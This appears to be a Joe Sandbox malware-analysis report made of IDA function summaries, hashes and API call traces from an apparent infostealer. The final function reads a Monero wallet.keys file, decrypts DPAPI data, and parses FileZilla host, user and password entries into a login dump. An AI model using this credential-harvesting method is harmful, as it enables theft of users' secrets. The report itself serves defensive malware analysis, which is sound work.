Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: jQQk$~>{$|nW
API String ID: 0-3171528340
Opcode ID: 59aac489a0b8e4cdce8caab03d3add18bf0716312478a06ba45a62584b34fed5
Instruction ID: 99540ec53c632ee50bb5f8df3014aa2013eee583361b73594cc0a360d4dd2cda
Opcode Fuzzy Hash: 59aac489a0b8e4cdce8caab03d3add18bf0716312478a06ba45a62584b34fed5
Instruction Fuzzy Hash: 437219F360C2049FE3046E2DEC8567ABBE9EBD4720F1A453DEAC5C3744EA3598058697

Function 00D93720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00D9E118,00000000,00000001,00D9E108,00000000), ref: 00D93758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00D937B0

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 6667240708ffc8fa0c8eeeb4a9a3ac80d7a1c022f149fa3125a0fe4f7614953b
Instruction ID: 591afe27dea127bd6a25728e5f26b00b9492eae9b270da9a30a9e1531764fb6e
Opcode Fuzzy Hash: 6667240708ffc8fa0c8eeeb4a9a3ac80d7a1c022f149fa3125a0fe4f7614953b
Instruction Fuzzy Hash: 8341D670A40A28AFDB24DB58CC95B9BB7B5BB48702F5041D8A608E72D0D771AE85CF60

Function 00D89B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00D89B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00D89BA3
LocalFree.KERNEL32(?), ref: 00D89BD3

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: dea3ec63e43c39464f460a8a21dda7c8158cf9026ecc3eb42d3c1fd89a9fcf84
Instruction ID: 91491131d1d549ab08d82d3f09eeaf25398cbaed82b9240b87927057a7f237ad
Opcode Fuzzy Hash: dea3ec63e43c39464f460a8a21dda7c8158cf9026ecc3eb42d3c1fd89a9fcf84
Instruction Fuzzy Hash: C711A5B8A00209EFDB04DF94D985EAEB7B5FF88304F144598E915A7390D774AE11CBA1

Function 0114C638 Relevance: 3.1, Strings: 2, Instructions: 554COMMON

Download Yara Rule

Strings

Bt_, xrefs: 0114C81E
m5, xrefs: 0114C8B4

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Bt_$m5
API String ID: 0-2187979626
Opcode ID: 4753ac9454adad583c937fa39ae33a7d52392934da18fd3c4234fbd91ff1c6e7
Instruction ID: b121421828170cb4dc00e4952ee9151947eb8d9a4db3d24d55b0cdf8d0c8fa62
Opcode Fuzzy Hash: 4753ac9454adad583c937fa39ae33a7d52392934da18fd3c4234fbd91ff1c6e7
Instruction Fuzzy Hash: 7102D6F3A0C2149FE314AF2DDC8567AF7E9EB98720F16452DEAC8C3340EA3558158796

Function 0106297C Relevance: 2.7, Strings: 2, Instructions: 201COMMON

Download Yara Rule

Strings

RV-v, xrefs: 01062AE5
{], xrefs: 01062B7B

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: RV-v${]
API String ID: 0-222116142
Opcode ID: 40bec07204ed0f2601c53aac7e3b93c9823ff5f14c9702f9e00f2c656e090383
Instruction ID: c2aba1b7fbf15d6ecc53d57f53196131bf4c15f7aa77e48cc51dfdaf6deef8c2
Opcode Fuzzy Hash: 40bec07204ed0f2601c53aac7e3b93c9823ff5f14c9702f9e00f2c656e090383
Instruction Fuzzy Hash: 97511CF3F086049BF304AE29DC5576AB7D6DBD4720F2B853DDAC8C3384E93958068296

Function 01091DA5 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

83]2, xrefs: 01091E6F

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 83]2
API String ID: 0-4113835522
Opcode ID: 2019a1c64980819b48871a0eb683f931745225d819f8e18b37c667ea7c65d097
Instruction ID: cfae716114fbfc1f4f0ef2e4ba32097bf7b520599c4fed2d58aedfebacb73a16
Opcode Fuzzy Hash: 2019a1c64980819b48871a0eb683f931745225d819f8e18b37c667ea7c65d097
Instruction Fuzzy Hash: D841B6F3A086006BF3049E2EDD8477AB7DADBD4320F2AC63DE188D3744E574D8068651

Function 011044C5 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e91525faf1620c1c6d91c920139cc73e226c163452d2049fcd618870b796daca
Instruction ID: 53c95dcc19b2c268db287f0ad49226aa0ad0761be2174128ca566be5ccf9b9bf
Opcode Fuzzy Hash: e91525faf1620c1c6d91c920139cc73e226c163452d2049fcd618870b796daca
Instruction Fuzzy Hash: 8E5105F3A087009FF308AE2EDC9572AB7D6EBD4310F16453DDA88C7780E93965158686

Function 01197C3F Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04f57d054c60eb359902c4a8c0a5fae3502dde10237a499c61aad7c90c34661d
Instruction ID: 5f08f9b925cb4aaf0e9180e2979db332663649d6fca5c4ac7e85ae9e4efb472a
Opcode Fuzzy Hash: 04f57d054c60eb359902c4a8c0a5fae3502dde10237a499c61aad7c90c34661d
Instruction Fuzzy Hash: 7951E5B362C604CFEB0D7E28ED453BEB7E6AF80210F13493DD6E246684E73158048A87

Function 010B5702 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f3e1ae1f4287cb5156cdd9072218351ae2124bafc157718657320df66070a78
Instruction ID: 3e2352b19bcc95ba7ef6e4fee9faf2edf195f3004a9f2c8e8c01fd6b28f214ec
Opcode Fuzzy Hash: 9f3e1ae1f4287cb5156cdd9072218351ae2124bafc157718657320df66070a78
Instruction Fuzzy Hash: 4D5127B36082049FF3449D79DD8977BB7D6EB84320F2A863DEA85C7B84E97A5C054242

Function 010864D0 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09342738a6b72b90114cd37485d7b3c6655952a380f26ecce927c25b22e0c024
Instruction ID: db1e8575006c3706103e0881260b5c94104b7eedd36e8ad2549d2728477565fb
Opcode Fuzzy Hash: 09342738a6b72b90114cd37485d7b3c6655952a380f26ecce927c25b22e0c024
Instruction Fuzzy Hash: B15115F3A182045BF7486E3CDC5477AB6D6EBD4310F2B463DEA85D3784E5399C058286

Function 00FEEE1B Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2704ee246815c80507d76694ccd4031a1b20f9c3d8642067025737d814a4811a
Instruction ID: 24c2d65279fab27aa2d2b187bb4aab459375f92156833b6b82d70ab8c8cc3fb2
Opcode Fuzzy Hash: 2704ee246815c80507d76694ccd4031a1b20f9c3d8642067025737d814a4811a
Instruction Fuzzy Hash: D051E7F3E086085BF314AE2DDC4576AB7D6DBC0720F1B853DDA8897B48F93D98058686

Function 00D99750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00D90250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D98DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D98E0B

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

Part of subcall function 00D899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D899EC
Part of subcall function 00D899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D89A11
Part of subcall function 00D899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D89A31
Part of subcall function 00D899C0: ReadFile.KERNEL32(000000FF,?,00000000,00D8148F,00000000), ref: 00D89A5A
Part of subcall function 00D899C0: LocalFree.KERNEL32(00D8148F), ref: 00D89A90
Part of subcall function 00D899C0: CloseHandle.KERNEL32(000000FF), ref: 00D89A9A

Part of subcall function 00D98E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D98E52

GetProcessHeap.KERNEL32(00000000,000F423F,00DA0DBA,00DA0DB7,00DA0DB6,00DA0DB3), ref: 00D90362
RtlAllocateHeap.NTDLL(00000000), ref: 00D90369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00D90385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DA0DB2), ref: 00D90393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00D903CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DA0DB2), ref: 00D903DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00D90419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DA0DB2), ref: 00D90427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00D90463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DA0DB2), ref: 00D90475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DA0DB2), ref: 00D90502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DA0DB2), ref: 00D9051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DA0DB2), ref: 00D90532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DA0DB2), ref: 00D9054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00D90562
lstrcat.KERNEL32(?,profile: null), ref: 00D90571
lstrcat.KERNEL32(?,url: ), ref: 00D90580
lstrcat.KERNEL32(?,00000000), ref: 00D90593
lstrcat.KERNEL32(?,00DA1678), ref: 00D905A2
lstrcat.KERNEL32(?,00000000), ref: 00D905B5
lstrcat.KERNEL32(?,00DA167C), ref: 00D905C4
lstrcat.KERNEL32(?,login: ), ref: 00D905D3
lstrcat.KERNEL32(?,00000000), ref: 00D905E6
lstrcat.KERNEL32(?,00DA1688), ref: 00D905F5
lstrcat.KERNEL32(?,password: ), ref: 00D90604
lstrcat.KERNEL32(?,00000000), ref: 00D90617
lstrcat.KERNEL32(?,00DA1698), ref: 00D90626
lstrcat.KERNEL32(?,00DA169C), ref: 00D90635
